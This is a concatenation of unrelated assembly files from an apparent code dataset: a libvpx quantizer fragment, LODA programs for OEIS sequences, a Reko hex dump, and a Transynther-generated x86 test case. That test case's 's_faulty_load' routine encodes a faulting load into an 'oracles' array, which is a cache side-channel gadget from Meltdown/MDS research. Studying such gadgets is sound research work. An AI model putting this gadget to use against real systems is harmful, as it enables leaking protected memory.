xmm5, xmm3 movdqa OWORD PTR[rsp + abs_minus_zbin], xmm1 movdqa OWORD PTR[rsp + abs_minus_zbin + 16], xmm5 ; add (zbin_ptr + zbin_oq_value) back paddw xmm1, xmm2 paddw xmm5, xmm3 movdqa xmm2, OWORD PTR[rdi] movdqa xmm6, OWORD PTR[rdi + 16] movdqa xmm3, OWORD PTR[rsi] movdqa xmm7, OWORD PTR[rsi + 16] ; x + round paddw xmm1, xmm2 paddw xmm5, xmm6 ; y = x * quant_ptr >> 16 pmulhw xmm3, xmm1 pmulhw xmm7, xmm5 ; y += x paddw xmm1, xmm3 paddw xmm5, xmm7 movdqa OWORD PTR[rsp + temp_qcoeff], xmm1 movdqa OWORD PTR[rsp + temp_qcoeff + 16], xmm5 pxor xmm6, xmm6 ; zero qcoeff movdqa OWORD PTR[rsp + qcoeff], xmm6 movdqa OWORD PTR[rsp + qcoeff + 16], xmm6 mov [rsp + eob_tmp], DWORD -1 ; eob mov rsi, arg(9) ; zbin_boost_ptr mov rdi, arg(4) ; default_zig_zag mov rax, arg(10) ; quant_shift_ptr %macro ZIGZAG_LOOP 2 rq_zigzag_loop_%1: movsxd rdx, DWORD PTR[rdi + (%1 * 4)] ; rc movsx ebx, WORD PTR [rsi] ; *zbin_boost_ptr lea rsi, [rsi + 2] ; zbin_boost_ptr++ ; x movsx ecx, WORD PTR[rsp + abs_minus_zbin + rdx *2] ; if (x >= zbin) sub ecx, ebx ; x - zbin jl rq_zigzag_loop_%2 ; x < zbin movsx ebx, WORD PTR[rsp + temp_qcoeff + rdx *2] ; downshift by quant_shift[rdx] movsx ecx, WORD PTR[rax + rdx*2] ; quant_shift_ptr[rc] sar ebx, cl ; also sets Z bit je rq_zigzag_loop_%2 ; !y mov WORD PTR[rsp + qcoeff + rdx * 2], bx ;qcoeff_ptr[rc] = temp_qcoeff[rc] mov rsi, arg(9) ; reset to b->zrun_zbin_boost mov [rsp + eob_tmp], DWORD %1 ; eob = i %endmacro ZIGZAG_LOOP 0, 1 ZIGZAG_LOOP 1, 2 ZIGZAG_LOOP 2, 3 ZIGZAG_LOOP 3, 4 ZIGZAG_LOOP 4, 5 ZIGZAG_LOOP 5, 6 ZIGZAG_LOOP 6, 7 ZIGZAG_LOOP 7, 8 ZIGZAG_LOOP 8, 9 ZIGZAG_LOOP 9, 10 ZIGZAG_LOOP 10, 11 ZIGZAG_LOOP 11, 12 ZIGZAG_LOOP 12, 13 ZIGZAG_LOOP 13, 14 ZIGZAG_LOOP 14, 15 ZIGZAG_LOOP 15, end rq_zigzag_loop_end: mov rbx, arg(2) ; qcoeff_ptr mov rcx, arg(3) ; dequant_ptr mov rsi, arg(7) ; dqcoeff_ptr mov rax, [rsp + eob_tmp] ; eob movdqa xmm2, OWORD PTR[rsp + qcoeff] movdqa xmm3, OWORD PTR[rsp + qcoeff + 16] ; y ^ sz pxor xmm2, xmm0 pxor xmm3, xmm4 ; x = (y ^ sz) - sz psubw xmm2, xmm0 psubw xmm3, xmm4 movdqa xmm0, OWORD PTR[rcx] movdqa xmm1, OWORD PTR[rcx + 16] pmullw xmm0, xmm2 pmullw xmm1, xmm3 movdqa OWORD PTR[rbx], xmm2 movdqa OWORD PTR[rbx + 16], xmm3 movdqa OWORD PTR[rsi], xmm0 ; store dqcoeff movdqa OWORD PTR[rsi + 16], xmm1 ; store dqcoeff add rax, 1 ; begin epilog add rsp, stack_size pop rsp pop rbx pop rdi pop rsi RESTORE_XMM UNSHADOW_ARGS pop rbp ret ;int vp8_fast_quantize_b_impl_sse2(short *coeff_ptr, ; short *qcoeff_ptr,short *dequant_ptr, ; short *inv_scan_order, short *round_ptr, ; short *quant_ptr, short *dqcoeff_ptr); global sym(vp8_fast_quantize_b_impl_sse2) sym(vp8_fast_quantize_b_impl_sse2): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 7 push rsi push rdi ; end prolog mov rdx, arg(0) ;coeff_ptr mov rcx, arg(2) ;dequant_ptr mov rdi, arg(4) ;round_ptr mov rsi, arg(5) ;quant_ptr movdqa xmm0, XMMWORD PTR[rdx] movdqa xmm4, XMMWORD PTR[rdx + 16] movdqa xmm2, XMMWORD PTR[rdi] ;round lo movdqa xmm3, XMMWORD PTR[rdi + 16] ;round hi movdqa xmm1, xmm0 movdqa xmm5, xmm4 psraw xmm0, 15 ;sign of z (aka sz) psraw xmm4, 15 ;sign of z (aka sz) pxor xmm1, xmm0 pxor xmm5, xmm4 psubw xmm1, xmm0 ;x = abs(z) psubw xmm5, xmm4 ;x = abs(z) paddw xmm1, xmm2 paddw xmm5, xmm3 pmulhw xmm1, XMMWORD PTR[rsi] pmulhw xmm5, XMMWORD PTR[rsi + 16] mov rdi, arg(1) ;qcoeff_ptr mov rsi, arg(6) ;dqcoeff_ptr movdqa xmm2, XMMWORD PTR[rcx] movdqa xmm3, XMMWORD PTR[rcx + 16] pxor xmm1, xmm0 pxor xmm5, xmm4 psubw xmm1, xmm0 psubw xmm5, xmm4 movdqa XMMWORD PTR[rdi], xmm1 movdqa XMMWORD PTR[rdi + 16], xmm5 pmullw xmm2, xmm1 pmullw xmm3, xmm5 mov rdi, arg(3) ;inv_scan_order ; Start with 16 pxor xmm4, xmm4 ;clear all bits pcmpeqw xmm1, xmm4 pcmpeqw xmm5, xmm4 pcmpeqw xmm4, xmm4 ;set all bits pxor xmm1, xmm4 pxor xmm5, xmm4 pand xmm1, XMMWORD PTR[rdi] pand xmm5, XMMWORD PTR[rdi+16] pmaxsw xmm1, xmm5 ; now down to 8 pshufd xmm5, xmm1, 00001110b pmaxsw xmm1, xmm5 ; only 4 left pshuflw xmm5, xmm1, 00001110b pmaxsw xmm1, xmm5 ; okay, just 2! pshuflw xmm5, xmm1, 00000001b pmaxsw xmm1, xmm5 movd rax, xmm1 and rax, 0xff movdqa XMMWORD PTR[rsi], xmm2 ;store dqcoeff movdqa XMMWORD PTR[rsi + 16], xmm3 ;store dqcoeff ; begin epilog pop rdi pop rsi UNSHADOW_ARGS pop rbp ret
27.676568
86
0.511567
9e3f6f65b096c9e646c9be6c5abe4a89ed42aeb3
763
asm
Assembly
oeis/309/A309759.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/309/A309759.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/309/A309759.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A309759: Numbers that are sums of consecutive powers of 4. ; Submitted by Simon Strandgaard ; 1,4,5,16,20,21,64,80,84,85,256,320,336,340,341,1024,1280,1344,1360,1364,1365,4096,5120,5376,5440,5456,5460,5461,16384,20480,21504,21760,21824,21840,21844,21845,65536,81920,86016,87040,87296,87360,87376,87380,87381,262144,327680,344064,348160,349184,349440,349504,349520,349524,349525,1048576,1310720,1376256,1392640,1396736,1397760,1398016,1398080,1398096,1398100,1398101,4194304,5242880,5505024,5570560,5586944,5591040,5592064,5592320,5592384,5592400,5592404,5592405,16777216,20971520,22020096 seq $0,224195 ; Ordered sequence of numbers of form (2^n - 1)*2^m + 1 where n >= 1, m >= 1. seq $0,98871 ; Sums of distinct powers of 4 plus 1. sub $0,6 div $0,4 add $0,1
76.3
496
0.779817
9e74ddefa48f560972cf353068ab22f514b7ad1b
6,553
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_528.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_528.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_528.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x8d1, %r9 nop nop sub $7587, %r11 movb $0x61, (%r9) nop nop xor %rsi, %rsi lea addresses_WT_ht+0x1bcb1, %rdx nop nop nop nop nop cmp %r10, %r10 mov $0x6162636465666768, %rcx movq %rcx, (%rdx) nop nop nop and %rdx, %rdx lea addresses_WC_ht+0x1bbcc, %rdx nop nop nop cmp $34545, %r9 vmovups (%rdx), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r11 cmp %rbp, %rbp lea addresses_A_ht+0xf51, %rcx nop dec %rbp movl $0x61626364, (%rcx) nop nop lfence lea addresses_A_ht+0x466d, %rsi lea addresses_WT_ht+0x1c8d1, %rdi nop xor $13420, %r10 mov $50, %rcx rep movsl lfence lea addresses_UC_ht+0x1e991, %rbp clflush (%rbp) nop nop sub $3491, %rsi movb $0x61, (%rbp) nop nop mfence lea addresses_UC_ht+0x112d1, %rbp nop add $35154, %rsi movw $0x6162, (%rbp) nop sub $57338, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r8 push %r9 push %rax push %rbx push %rdi // Store mov $0x201, %r13 nop nop nop nop nop cmp $43826, %rbx movl $0x51525354, (%r13) nop inc %r9 // Store lea addresses_D+0x22a4, %r15 nop nop nop nop add %r8, %r8 movl $0x51525354, (%r15) nop nop nop nop dec %r15 // Store lea addresses_normal+0x24d1, %rbx nop nop nop add %r13, %r13 movw $0x5152, (%rbx) nop nop cmp %r13, %r13 // Store lea addresses_PSE+0x1a7d1, %rbx nop nop nop nop nop dec %r9 mov $0x5152535455565758, %r8 movq %r8, (%rbx) nop nop nop nop nop dec %rbx // Faulty Load lea addresses_US+0xccd1, %rax nop nop nop add %rdi, %rdi movups (%rax), %xmm0 vpextrq $1, %xmm0, %r15 lea oracles, %r9 and $0xff, %r15 shlq $12, %r15 mov (%r9,%r15,1), %r15 pop %rdi pop %rbx pop %rax pop %r9 pop %r8 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.231183
2,999
0.653899
b08577abc89b52473349b88acad143b4d3130518
596
asm
Assembly
oeis/216/A216130.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/216/A216130.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/216/A216130.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A216130: 7^n mod 10000. ; Submitted by Jamie Morken(s2) ; 7,49,343,2401,6807,7649,3543,4801,3607,5249,6743,7201,407,2849,9943,9601,7207,449,3143,2001,4007,8049,6343,4401,807,5649,9543,6801,7607,3249,2743,9201,4407,849,5943,1601,1207,8449,9143,4001,8007,6049,2343,6401,4807,3649,5543,8801,1607,1249,8743,1201,8407,8849,1943,3601,5207,6449,5143,6001,2007,4049,8343,8401,8807,1649,1543,801,5607,9249,4743,3201,2407,6849,7943,5601,9207,4449,1143,8001,6007,2049,4343,401,2807,9649,7543,2801,9607,7249,743,5201,6407,4849,3943,7601,3207,2449,7143,1 add $0,1 mov $1,7 pow $1,$0 mod $1,10000 mov $0,$1
59.6
485
0.761745
b0aac212b9e303c2a89b08f0fde12fba99d340b5
422
asm
Assembly
programs/oeis/124/A124754.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/124/A124754.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/124/A124754.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A124754: Alternating sum of compositions in standard order. ; 0,1,2,0,3,1,-1,1,4,2,0,2,-2,0,2,0,5,3,1,3,-1,1,3,1,-3,-1,1,-1,3,1,-1,1,6,4,2,4,0,2,4,2,-2,0,2,0,4,2,0,2,-4,-2,0,-2,2,0,-2,0,4,2,0,2,-2,0,2,0,7,5,3,5,1,3,5,3,-1,1,3,1,5,3,1,3,-3,-1,1,-1,3,1,-1,1,5,3,1,3,-1,1,3,1,-5,-3,-1,-3 lpb $0 mov $2,$0 div $0,2 seq $2,102394 ; A wicked odious sequence. sub $2,1 mov $3,$2 min $3,1 add $1,$3 lpe mov $0,$1
30.142857
224
0.528436
f57039d663b1caac478454208b0341e5cae07993
16,153
asm
Assembly
ZORTON.reko/ZORTON_2725.asm
0xLiso/dePIXELator
d74a663e5cb41a404f2b714e262ce44b668d3632
[ "MIT" ]
null
null
null
ZORTON.reko/ZORTON_2725.asm
0xLiso/dePIXELator
d74a663e5cb41a404f2b714e262ce44b668d3632
[ "MIT" ]
null
null
null
ZORTON.reko/ZORTON_2725.asm
0xLiso/dePIXELator
d74a663e5cb41a404f2b714e262ce44b668d3632
[ "MIT" ]
1
2021-03-10T22:29:06.000Z
2021-03-10T22:29:06.000Z
;;; Segment 2725 (2725:0000) 2725:0000 83 C4 04 5D CB ...]. 268D:0985 C8 02 00 00 A0 C4 94 98 0B C0 75 ..........u 268D:0990 2E C7 46 FE 00 00 EB 21 8B 5E FE 80 BF AC AA 00 ..F....!.^...... 268D:09A0 74 14 66 6A 00 6A D2 9A BA 00 31 23 83 C4 06 C6 t.fj.j....1#.... 268D:09B0 06 C4 94 01 EB 09 FF 46 FE 83 7E FE 06 7C D9 C9 .......F..~..|.. 268D:09C0 CB C8 02 00 00 B8 BA 28 8E C0 66 26 83 3E 7E A1 .......(..f&.>~. 268D:09D0 00 74 3B B8 BA 28 8E C0 26 C4 1E 30 30 26 8B 47 .t;..(..&..00&.G 268D:09E0 18 89 46 FE 8B 5E FE 80 BF AC AA 05 7D 20 FE 87 ..F..^......} .. 268D:09F0 AC AA 66 6A 00 8A 46 FE 04 C8 50 9A BA 00 31 23 ..fj..F...P...1# 268D:0A00 83 C4 06 B8 BA 28 8E C0 66 26 FF 0E 7E A1 C9 CB .....(..f&..~... 268D:0A10 C8 02 00 00 C6 46 FF 00 EB 1A 9A 3F 08 00 08 BB .....F.....?.... 268D:0A20 06 00 99 F7 FB FE C2 8A 46 FF 98 8B D8 88 97 B2 ........F....... 268D:0A30 AA FE 46 FF 80 7E FF 05 7C E0 C9 CB C8 04 00 00 ..F..~..|....... 268D:0A40 FA 9A E8 01 25 24 FB C7 46 FC 00 00 E9 CD 00 B8 ....%$..F....... 268D:0A50 BA 28 8E C0 26 C7 06 84 A1 14 00 B8 BA 28 8E C0 .(..&........(.. 268D:0A60 66 26 FF 36 80 AA 66 FF 36 94 AA 66 68 79 00 39 f&.6..f.6..fhy.9 268D:0A70 00 9A 00 00 6E 21 83 C4 0C B8 BA 28 8E C0 26 83 ....n!.....(..&. 268D:0A80 3E 84 A1 0F 7F F3 B8 BA 28 8E C0 66 26 FF 36 80 >.......(..f&.6. 268D:0A90 AA A1 94 AA 05 C7 00 FF 36 96 AA 50 66 68 79 00 ........6..Pfhy. 268D:0AA0 39 00 9A 00 00 6E 21 83 C4 0C B8 BA 28 8E C0 26 9....n!.....(..& 268D:0AB0 83 3E 84 A1 0A 7F F3 B8 BA 28 8E C0 66 26 FF 36 .>.......(..f&.6 268D:0AC0 80 AA A1 94 AA 05 8E 01 FF 36 96 AA 50 66 68 79 .........6..Pfhy 268D:0AD0 00 39 00 9A 00 00 6E 21 83 C4 0C B8 BA 28 8E C0 .9....n!.....(.. 268D:0AE0 26 83 3E 84 A1 05 7F F3 B8 BA 28 8E C0 66 26 FF &.>.......(..f&. 268D:0AF0 36 80 AA A1 94 AA 05 C7 00 FF 36 96 AA 50 66 68 6.........6..Pfh 268D:0B00 79 00 39 00 9A 00 00 6E 21 83 C4 0C B8 BA 28 8E y.9....n!.....(. 268D:0B10 C0 26 83 3E 84 A1 00 7F F3 FF 46 FC 83 7E FC 03 .&.>......F..~.. 268D:0B20 7D 03 E9 2A FF A0 B2 AA 98 48 A3 88 94 C7 06 8A }..*.....H...... 268D:0B30 94 14 00 A0 B3 AA 98 48 A3 96 94 C7 06 98 94 23 .......H.......# 268D:0B40 00 A0 B4 AA 98 48 A3 A4 94 C7 06 A6 94 19 00 A0 .....H.......... 268D:0B50 B5 AA 98 48 A3 B2 94 C7 06 B4 94 1E 00 A0 B6 AA ...H............ 268D:0B60 98 48 A3 C0 94 C7 06 C2 94 28 00 B8 BA 28 8E C0 .H.......(...(.. 268D:0B70 26 80 3E 83 A1 00 74 0E 6A 00 1E 68 ED 95 9A D2 &.>...t.j..h.... 268D:0B80 08 9F 20 83 C4 06 C7 46 FE 00 00 1E 68 7E 94 90 .. ....F....h~.. 268D:0B90 0E E8 1E 03 83 C4 04 09 46 FE 1E 68 8C 94 90 0E ........F..h.... 268D:0BA0 E8 0F 03 83 C4 04 09 46 FE 1E 68 9A 94 90 0E E8 .......F..h..... 268D:0BB0 00 03 83 C4 04 09 46 FE 1E 68 A8 94 90 0E E8 F1 ......F..h...... 268D:0BC0 02 83 C4 04 09 46 FE 1E 68 B6 94 90 0E E8 E2 02 .....F..h....... 268D:0BD0 83 C4 04 09 46 FE 66 FF 36 84 AA 9A 9D 06 44 17 ....F.f.6.....D. 268D:0BE0 83 C4 04 66 FF 36 84 AA 9A 4D 04 44 17 83 C4 04 ...f.6...M.D.... 268D:0BF0 BA DA 03 EC B4 00 A9 08 00 75 F5 B8 BA 28 8E C0 .........u...(.. 268D:0C00 66 26 FF 36 82 A8 9A 39 04 CC 16 83 C4 04 83 7E f&.6...9.......~ 268D:0C10 FE 00 74 03 E9 6F FF FA 9A 86 02 25 24 FB C9 CB ..t..o.....%$... 268D:0C20 C8 04 00 00 8B 46 06 6B C0 13 05 2C 00 89 46 FE .....F.k...,..F. 268D:0C30 8B 5E 06 8A 87 AC AA 98 D1 E0 BA 8A 00 2B D0 89 .^...........+.. 268D:0C40 56 FC FA 9A E8 01 25 24 FB B8 BA 28 8E C0 66 26 V.....%$...(..f& 268D:0C50 FF 36 82 A8 66 FF 36 88 AA FF 76 FC FF 76 FE 9A .6..f.6...v..v.. 268D:0C60 DC 01 6E 21 83 C4 0C B8 BA 28 8E C0 66 26 FF 36 ..n!.....(..f&.6 268D:0C70 82 A8 9A 39 04 CC 16 83 C4 04 FA 9A 86 02 25 24 ...9..........%$ 268D:0C80 FB 9A 7F 05 6D 22 C9 CB C8 02 00 00 C6 46 FF 00 ....m".......F.. 268D:0C90 EB 0E 8A 46 FF 98 8B D8 C6 87 AC AA 00 FE 46 FF ...F..........F. 268D:0CA0 80 7E FF 06 7C EC C9 CB C8 04 00 00 C6 46 FD 01 .~..|........F.. 268D:0CB0 C6 46 FF 00 E9 86 00 8A 46 FF 98 8B D8 80 BF AC .F......F....... 268D:0CC0 AA 00 74 76 C6 46 FE 00 EB 6A 8A 46 FE 98 8B D8 ..tv.F...j.F.... 268D:0CD0 8A 87 B2 AA 98 50 8A 46 FF 98 40 5A 3B D0 75 51 .....P.F..@Z;.uQ 268D:0CE0 8A 46 FF 98 8B D8 8A 87 AC AA 98 66 0F BF C0 BA .F.........f.... 268D:0CF0 BA 28 8E C2 66 26 01 06 7E A1 C6 46 FD 00 B8 BA .(..f&..~..F.... 268D:0D00 28 8E C0 26 80 3E 83 A1 00 74 26 6A 01 8A 46 FF (..&.>...t&j..F. 268D:0D10 98 C1 E0 02 8B D8 66 FF B7 C5 94 9A D2 08 9F 20 ......f........ 268D:0D20 83 C4 06 6A 01 1E 68 F6 95 9A D2 08 9F 20 83 C4 ...j..h...... .. 268D:0D30 06 FE 46 FE 80 7E FE 05 7C 90 FE 46 FF 80 7E FF ..F..~..|..F..~. 268D:0D40 06 7D 03 E9 71 FF 80 7E FD 01 75 1B B8 BA 28 8E .}..q..~..u...(. 268D:0D50 C0 26 80 3E 83 A1 00 74 0E 6A 01 1E 68 00 96 9A .&.>...t.j..h... 268D:0D60 D2 08 9F 20 83 C4 06 9A 7F 05 6D 22 C9 CB C8 04 ... ......m".... 268D:0D70 00 00 66 8B 46 06 66 3B 06 98 AA 75 0A 8C 5E FE ..f.F.f;...u..^. 268D:0D80 C7 46 FC 7E 94 EB 47 66 8B 46 06 66 3B 06 9C AA .F.~..Gf.F.f;... 268D:0D90 75 0A 8C 5E FE C7 46 FC 8C 94 EB 32 66 8B 46 06 u..^..F....2f.F. 268D:0DA0 66 3B 06 A0 AA 75 0A 8C 5E FE C7 46 FC 9A 94 EB f;...u..^..F.... 268D:0DB0 1D 66 8B 46 06 66 3B 06 A4 AA 75 0A 8C 5E FE C7 .f.F.f;...u..^.. 268D:0DC0 46 FC A8 94 EB 08 8C 5E FE C7 46 FC B6 94 C4 5E F......^..F....^ 268D:0DD0 FC 26 83 7F 0C 00 75 73 26 8B 47 08 26 3B 47 0A .&....us&.G.&;G. 268D:0DE0 75 69 83 7E 0A 01 75 16 C4 5E 06 26 FF 47 06 26 ui.~..u..^.&.G.& 268D:0DF0 83 7F 06 7A 7E 55 26 C7 47 06 7A 00 EB 4D 83 7E ...z~U&.G.z..M.~ 268D:0E00 0A 04 75 16 C4 5E 06 26 FF 4F 06 26 83 7F 06 0A ..u..^.&.O.&.... 268D:0E10 7D 39 26 C7 47 06 0A 00 EB 31 83 7E 0A 02 75 17 }9&.G....1.~..u. 268D:0E20 C4 5E 06 26 FF 47 04 26 81 7F 04 D2 00 7E 1C 26 .^.&.G.&.....~.& 268D:0E30 C7 47 04 D2 00 EB 14 C4 5E 06 26 FF 4F 04 26 83 .G......^.&.O.&. 268D:0E40 7F 04 0A 7D 06 26 C7 47 04 0A 00 F7 46 0A 01 00 ...}.&.G....F... 268D:0E50 74 16 C4 5E FC 26 FF 77 02 9A 25 10 94 10 59 C4 t..^.&.w..%...Y. 268D:0E60 5E FC 26 89 47 02 EB 48 F7 46 0A 04 00 74 18 C4 ^.&.G..H.F...t.. 268D:0E70 5E FC 26 FF 77 02 9A 25 10 94 10 59 F7 D8 C4 5E ^.&.w..%...Y...^ 268D:0E80 FC 26 89 47 02 EB 29 F7 46 0A 02 00 74 0E C4 5E .&.G..).F...t..^ 268D:0E90 FC 26 FF 37 9A 25 10 94 10 59 EB 0E C4 5E FC 26 .&.7.%...Y...^.& 268D:0EA0 FF 37 9A 25 10 94 10 59 F7 D8 C4 5E FC 26 89 07 .7.%...Y...^.&.. 268D:0EB0 C9 CB 55 8B EC 56 C4 5E 06 26 83 7F 0C 00 75 0D ..U..V.^.&....u. 268D:0EC0 26 8B 47 08 26 3B 47 0A 75 03 E9 CE 00 C4 5E 06 &.G.&;G.u.....^. 268D:0ED0 26 C4 5F 04 06 C4 76 06 26 8B 04 07 26 01 47 04 &._...v.&...&.G. 268D:0EE0 C4 5E 06 26 C4 5F 04 26 81 7F 04 D2 00 7E 08 26 .^.&._.&.....~.& 268D:0EF0 C7 47 04 D2 00 EB 14 C4 5E 06 26 C4 5F 04 26 83 .G......^.&._.&. 